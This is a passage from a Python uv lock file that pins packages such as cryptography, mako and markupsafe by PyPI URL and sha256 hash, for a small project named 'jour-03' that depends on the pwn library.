{ url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
{ url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
{ url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
{ url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
{ url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
{ url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
{ url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
{ url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
{ url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
{ url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
{ url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
{ url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
]
[[package]]
name = "colorama"
version = "0.4.6"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
]
[[package]]
name = "colored-traceback"
version = "0.4.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "os_name == 'nt'" },
{ name = "pygments" },
]
sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" },
]
[[package]]
name = "cryptography"
version = "48.0.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/12/45/870e7f4bef50e5f53b9f51d4428aee5290eedf58ba443f16b1ebb7ab8e66/cryptography-48.0.1.tar.gz", hash = "sha256:266f4ee051abb2f725b74ef8072b521ce1feacf685a3364fa6a6b45548db791a", size = 832989, upload-time = "2026-06-09T22:32:31.8Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1b/bc/ee4137cbbe105652c0ee4252792b78fc8e7afa4b8e61d9d5dc05a7f45731/cryptography-48.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3e4a1a3232eef2e6c732827d5722db29a0cc8b27af2a4d865b094cf954be9ca1", size = 8008324, upload-time = "2026-06-09T22:31:00.702Z" },
{ url = "https://files.pythonhosted.org/packages/d5/85/6379d42181bfc713094f081360fc5784d6c816b599d45e7f082502d173ce/cryptography-48.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:32143b24adb918f078134e1e230f1eb8cc04886b92c28b5f0041aaf3e5699225", size = 4696243, upload-time = "2026-06-09T22:32:33.446Z" },
{ url = "https://files.pythonhosted.org/packages/9c/87/c85d147b53323c7eb4d850920c8901377323c2a0ff8d79c262d4fee89aa2/cryptography-48.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0d27a5696721ef7a672b8c810f6aded391058e0b9486e63e6d93baf765da691", size = 4713235, upload-time = "2026-06-09T22:31:40.141Z" },
{ url = "https://files.pythonhosted.org/packages/79/58/67cbf8cf1ee7c54b439ca07bbecf8362c07afc11a3724fea70f745784add/cryptography-48.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb86ce1af36fe65041b6db9a8bb064ee621a7e5fded0f80d475ec243477cd242", size = 4702323, upload-time = "2026-06-09T22:31:42.191Z" },
{ url = "https://files.pythonhosted.org/packages/89/c6/24266ac10c47f6cd2a865f4446062b466da1d1f10b27189eac00e61bf0c9/cryptography-48.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b024e784ad6c077ee0147b35ea9cbfc1e34e1fd4c1dcca214c2794d73a12df08", size = 5300085, upload-time = "2026-06-09T22:31:58.703Z" },
{ url = "https://files.pythonhosted.org/packages/d2/bb/cc4b78784f97efc8c5874c2a9743708d172be6663024b34a0467885ae0c8/cryptography-48.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3752f2dbc8f07a30aad2932c986cea495b03bb554887828225da104f732852b6", size = 4746137, upload-time = "2026-06-09T22:31:31.01Z" },
{ url = "https://files.pythonhosted.org/packages/1f/52/0c44de3f5267f8fbe8e835138017522a333436166e406f0db9b9e6e3033f/cryptography-48.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:bd81490cd5801d755cf97bb68ac191f14b708470b1c7cf4580f669b9c9264cd8", size = 4333867, upload-time = "2026-06-09T22:32:28.096Z" },
{ url = "https://files.pythonhosted.org/packages/9a/2e/772d7adbfa931537bc401640b7cac9976bff689bda187833e5d63b428e49/cryptography-48.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:66fd0771e7b9c6dcd44cf1120690d2338d16d72795cf40cae2786a39eba65429", size = 4701805, upload-time = "2026-06-09T22:31:38.284Z" },
{ url = "https://files.pythonhosted.org/packages/f8/a3/b06844f303873493c963caf581c04df31c7035e0c1b0f02c4814d319ec80/cryptography-48.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:3fd2ca57062b241c856670b073487d2e86c4637937ca5601e48f97bf8e11fc8f", size = 5258461, upload-time = "2026-06-09T22:31:04.187Z" },
{ url = "https://files.pythonhosted.org/packages/9f/13/8b765e2e12b07c74941caadb9d1c8fdc006c4dfbf2b8f2d610519758954d/cryptography-48.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:0ee6ea481db1ab889cba043ec1eda17bb9c1ea79db6722f779c3667f9f70322f", size = 4745488, upload-time = "2026-06-09T22:32:30.07Z" },
{ url = "https://files.pythonhosted.org/packages/2e/aa/48972bce55049b32a94f4907eda4d75fa385aad8a39506cc2fc72196ecf0/cryptography-48.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f2ceef93cb096aa3c4cc4b5c94ca6131f9196d28c64d6111533402a9b2054d41", size = 4830256, upload-time = "2026-06-09T22:31:43.868Z" },
{ url = "https://files.pythonhosted.org/packages/47/a2/e5079a032fb85cf6005046ca92bbd78b0c82dad2b5751ab8c311659da06f/cryptography-48.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bd3f92d76217892b15df84ca256c2c113d386fdda7a7d8691aeeced976507c6", size = 4979117, upload-time = "2026-06-09T22:31:05.845Z" },
{ url = "https://files.pythonhosted.org/packages/b7/a0/8f50cae9c74e718ed769d63ed5c74bd0ea830c9550a74629cebd1b9c7bc7/cryptography-48.0.1-cp311-abi3-win32.whl", hash = "sha256:b9a32b876490d66c8bcc9963ef220199569748434ab01a9d6aaeabf88e7f5158", size = 3304154, upload-time = "2026-06-09T22:32:16.845Z" },
{ url = "https://files.pythonhosted.org/packages/c5/69/0572c77dbace6fef72f33755bd52ea399c71367250d366237f8691826b9e/cryptography-48.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:39489bfca54c7a1f6b297efcd8bc608ab92d16c4ca631b0cad4da46724588b24", size = 3817138, upload-time = "2026-06-09T22:32:00.388Z" },
{ url = "https://files.pythonhosted.org/packages/42/06/3e768b4c3bc78201583fa35a0e18f640dd782ff41afba88f8545481a8874/cryptography-48.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:f817adc181390bd54f2f700107a7419040fb7c1bdf2fc26f36551a06a68c3345", size = 7989830, upload-time = "2026-06-09T22:31:07.8Z" },
{ url = "https://files.pythonhosted.org/packages/8a/13/6476736484b94041110c8340a3eb63962fea4975baea8cb4a512adb44d4d/cryptography-48.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d5d30989c6917b478b5817902e85fddaea2261efa8648383d965381ccb9e1ac4", size = 4689201, upload-time = "2026-06-09T22:31:09.745Z" },
{ url = "https://files.pythonhosted.org/packages/79/62/65a87f34d2a431546e2509b85d55e8c90df86d668f6731da64d538512ac2/cryptography-48.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:df637c05205ea7c1d7fbcbe54bbfea648a52951155f997af13d895d0ecc96991", size = 4702822, upload-time = "2026-06-09T22:32:24.409Z" },
{ url = "https://files.pythonhosted.org/packages/7f/59/810b5204b0a9b10f4b6bc06bd551a8b609803cd931806bc3b71884b225e5/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:869c3b8a53bfe27147832df48b32adadf558249d50e76cb3769d40e986b13265", size = 4694875, upload-time = "2026-06-09T22:32:08.737Z" },
{ url = "https://files.pythonhosted.org/packages/24/dc/d8ca05ffea724eec6d232ea6f18e74c269eb6bdfdcc9bfba689790d1325f/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:e361afba8918070d376df76f408a4f67fec0ee9cff81a99e48fe9a233ef59e17", size = 5290385, upload-time = "2026-06-09T22:31:15.212Z" },
{ url = "https://files.pythonhosted.org/packages/03/8c/3be6cb4da181f5bb6c19cf560c2359d60644a6b5fc5b57854e528f47b296/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d069066deead00ac7f090be101be875a06855908f7ec004c27b8fefb4acfb411", size = 4737082, upload-time = "2026-06-09T22:32:22.66Z" },
{ url = "https://files.pythonhosted.org/packages/aa/f6/d5f60a5a1434dbfd949e227fd0065d194c7e6b6ac526b17f5c06152b8231/cryptography-48.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:09f73a725d582cef64b91281a322cd798d14a33b2b6f2b7ad9531dc336d84c02", size = 4325328, upload-time = "2026-06-09T22:32:10.777Z" },
{ url = "https://files.pythonhosted.org/packages/17/b7/ba75dd947a14b6ad907b01ae8f6b5b348cdd1b48142f0063dee9e20c1d9d/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:15254441469dd6bf027039453288e2072124f8b6603563f5d759e1c9b69273fa", size = 4694530, upload-time = "2026-06-09T22:31:53.105Z" },
{ url = "https://files.pythonhosted.org/packages/62/29/50d6b9e8aff12d8b67afaeb3569335e32dc83a5723e3bbded24fdac9f809/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:8ace4507d1e6533c125f4fac754f8bb8b6a74c08e92179dabd7e16571a3efbf3", size = 5245046, upload-time = "2026-06-09T22:31:25.774Z" },
{ url = "https://files.pythonhosted.org/packages/9f/04/618f4115cfc0add0838c82507aa18a346089428da8653ad38b3ff36f5cb3/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b4e391975f038e66432328639620a4aff2d307513b004f1ca06d6225bced815c", size = 4736660, upload-time = "2026-06-09T22:32:12.676Z" },
{ url = "https://files.pythonhosted.org/packages/24/9c/06e062462a0de28a3b3911322eded4c16deb9f441b1b7575d3dc59488ab5/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42fcd8e26fe555d9b3577a135f5091fefa0aa4e99129c23fb56787a1bd4ada72", size = 4822229, upload-time = "2026-06-09T22:31:17.062Z" },
{ url = "https://files.pythonhosted.org/packages/f4/be/0561971eaaee4b8a0e7d5113c536921063ab91aaf23278ac374eaf881e11/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1400da5e32a43253392277eac7490a60e497d810a63dd5608d71bbd7af507c9", size = 4966364, upload-time = "2026-06-09T22:31:32.842Z" },
{ url = "https://files.pythonhosted.org/packages/a4/27/728c77876f12b000820b69ae490f3c4083775e79e07827e9e60be07ad209/cryptography-48.0.1-cp314-cp314t-win32.whl", hash = "sha256:0df56b056bc17c1b7d6821dfa65216e62bd232d8ab05eb3db44e71d235651471", size = 3278498, upload-time = "2026-06-09T22:31:29.154Z" },
{ url = "https://files.pythonhosted.org/packages/06/e3/79a612c6d7b1e6ee0edd43633d53035bec2cfb78c82b76f7864f39e36f34/cryptography-48.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:9de21387aa95e2a895823d0745b430bed4f33503ba9ab5e0b5311f33e37d66d2", size = 3798790, upload-time = "2026-06-09T22:31:56.697Z" },
{ url = "https://files.pythonhosted.org/packages/ca/6c/00fa2a95997164c8b2072ce327c23d4ab20809ccc323ea5fab91e53a4bba/cryptography-48.0.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:4fdc69f8e4316bcf0c8c8ec1f26f285d12e8142d88d96c876a59a03be3f6ae67", size = 7987408, upload-time = "2026-06-09T22:32:20.777Z" },
{ url = "https://files.pythonhosted.org/packages/b0/d9/45f309a7e4e5f3f8f121d6d3be9e94024a7726ec598d6e08ae04edb2f04d/cryptography-48.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48fe40804d4caa2288f24e70ca8c64c42dd826da0ad7e4f1b41b2128d679e6c8", size = 4690196, upload-time = "2026-06-09T22:31:54.74Z" },
{ url = "https://files.pythonhosted.org/packages/5f/9f/a1bc8bcc798811b8527eb374bbccf30a3f3e806829d967118222bf1125eb/cryptography-48.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86be3b1b0b6bf09482fb50a979c508d2950ed95f5621ec77f4e385962006b83a", size = 4696782, upload-time = "2026-06-09T22:31:45.615Z" },
{ url = "https://files.pythonhosted.org/packages/66/c2/81a4fb4e4373c500bb526bc337ac5719dd31dd15b970b84a238168c6aa08/cryptography-48.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4ab0a343c807bbcd90c971cd1ecf072937cd01847a9e002bef88fb47ac6be577", size = 4696618, upload-time = "2026-06-09T22:31:11.564Z" },
{ url = "https://files.pythonhosted.org/packages/e5/0b/aa68b221dde92d09cb29a024ede17550ee21e77a404e59fc093c82bb51e1/cryptography-48.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9621de99d2da096006b629979efd8ae7eb2d8b822488d0c89ee4000c306c59b1", size = 5289970, upload-time = "2026-06-09T22:31:20.368Z" },
{ url = "https://files.pythonhosted.org/packages/78/13/fba657f958d2af66ea959a4ba01212632089249d34af1ae48054136344d7/cryptography-48.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:88c852a0ae366e262e5a1744b685e6a433dc8788dd2a277e418bf4904203609d", size = 4731873, upload-time = "2026-06-09T22:31:22.253Z" },
{ url = "https://files.pythonhosted.org/packages/4c/4c/9a964756d24a26b3e34dfcb16f961b89838786e6700b635b0d1e3adff4b6/cryptography-48.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:43c5835e2cb98c8733d86f57d6fc879b613f5c3478607281c3e36daffc6dd8a6", size = 4330804, upload-time = "2026-06-09T22:31:36.56Z" },
{ url = "https://files.pythonhosted.org/packages/4b/0f/a10f3a6eb12950a10e3a874070283aa2dd5875b2bfd15fad8a3e17b3f13e/cryptography-48.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:fe0180af5bf9236518a087e35bf2d9a347d5f5f51e63c579d683ddff424e3d46", size = 4696217, upload-time = "2026-06-09T22:31:13.351Z" },
{ url = "https://files.pythonhosted.org/packages/f3/6f/5cd12f951165ea73ef85266775d97e4c763b2474ccfd816dd69d3a18d6f8/cryptography-48.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:b7a2d1a937a738a881737cec135a38bb61470589b17515b9f73f571d0ae10401", size = 5245252, upload-time = "2026-06-09T22:32:02.193Z" },
{ url = "https://files.pythonhosted.org/packages/68/ab/8aaa12e4516ec4464033ab79b6f3b592bd5a92102467c4ace8a0d970203f/cryptography-48.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b74ca3b8e5ecdd833bf6a002ca41b4793bb27fb8f1c06ffaf2643c9e9140e31b", size = 4731388, upload-time = "2026-06-09T22:32:04.019Z" },
{ url = "https://files.pythonhosted.org/packages/1b/24/50027ea4dca85ec1f40688f3c24fb32ccacd520583c9592c3cc95628e6fb/cryptography-48.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2c37f2461406063b417837f5f3daab668652acd82423efcd7f0a9f04be972de1", size = 4824186, upload-time = "2026-06-09T22:32:18.707Z" },
{ url = "https://files.pythonhosted.org/packages/52/41/04cb5eb17085ade6f50cc611fb657df6a0f5885350de8764ece89c050197/cryptography-48.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:86fe77abb1bd87afb251d4d02ada7ecf53a32cee9b67d976abb2e45a13297475", size = 4964539, upload-time = "2026-06-09T22:31:18.793Z" },
{ url = "https://files.pythonhosted.org/packages/36/bf/ed70785c496e89d7e73b7cda2d21f2447fd6d4e821714b8d04ff217fed92/cryptography-48.0.1-cp39-abi3-win32.whl", hash = "sha256:6b2c0c3e6ccf3ade7750f836ef3ee36eea250cc467d45c256895573ac08cc6f1", size = 3282307, upload-time = "2026-06-09T22:30:53.162Z" },
{ url = "https://files.pythonhosted.org/packages/b3/ff/371ea7d252656ee1eb6d83eeeef3d1d0c6baf1d6497687d081ea03814670/cryptography-48.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:9a49ca6c81417f6a5edb50375a60cccdd70fa0a91a5211829dbea74eba94d2ac", size = 3793408, upload-time = "2026-06-09T22:32:15.191Z" },
]
[[package]]
name = "idna"
version = "3.18"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
]
[[package]]
name = "intervaltree"
version = "3.2.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "sortedcontainers" },
]
sdist = { url = "https://files.pythonhosted.org/packages/53/c3/b2afa612aa0373f3e6bb190e6de35f293b307d1537f109e3e25dbfcdf212/intervaltree-3.2.1.tar.gz", hash = "sha256:f3f7e8baeb7dd75b9f7a6d33cf3ec10025984a8e66e3016d537e52130c73cfe2", size = 1231531, upload-time = "2025-12-24T04:25:06.773Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/83/7f/8a80a1c7c2ed05822b5a2b312d2995f30c533641f8198366ba2e26a7bb03/intervaltree-3.2.1-py2.py3-none-any.whl", hash = "sha256:a8a8381bbd35d48ceebee932c77ffc988492d22fb1d27d0ba1d74a7694eb8f0b", size = 25929, upload-time = "2025-12-24T04:25:05.298Z" },
]
[[package]]
name = "invoke"
version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/33/f6/227c48c5fe47fa178ccf1fda8f047d16c97ba926567b661e9ce2045c600c/invoke-3.0.3.tar.gz", hash = "sha256:437b6a622223824380bfb4e64f612711a6b648c795f565efc8625af66fb57f0c", size = 343419, upload-time = "2026-04-07T15:17:48.307Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl", hash = "sha256:f11327165e5cbb89b2ad1d88d3292b5113332c43b8553b494da435d6ec6f5053", size = 160958, upload-time = "2026-04-07T15:17:46.875Z" },
]
[[package]]
name = "jour-03"
version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "pwn" },
]
[package.metadata]
requires-dist = [{ name = "pwn", specifier = ">=1.0" }]
[[package]]
name = "mako"
version = "1.3.12"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/00/62/791b31e69ae182791ec67f04850f2f062716bbd205483d63a215f3e062d3/mako-1.3.12.tar.gz", hash = "sha256:9f778e93289bd410bb35daadeb4fc66d95a746f0b75777b942088b7fd7af550a", size = 400219, upload-time = "2026-04-28T19:01:08.512Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/bc/b1/a0ec7a5a9db730a08daef1fdfb8090435b82465abbf758a596f0ea88727e/mako-1.3.12-py3-none-any.whl", hash = "sha256:8f61569480282dbf557145ce441e4ba888be453c30989f879f0d652e39f53ea9", size = 78521, upload-time = "2026-04-28T19:01:10.393Z" },
]
[[package]]
name = "markupsafe"
version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" },
{ url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" },
{ url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" },
{ url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" },
{ url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" },
{ url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" },
{ url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" },
{ url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" },
{ url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" },
{ url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" },
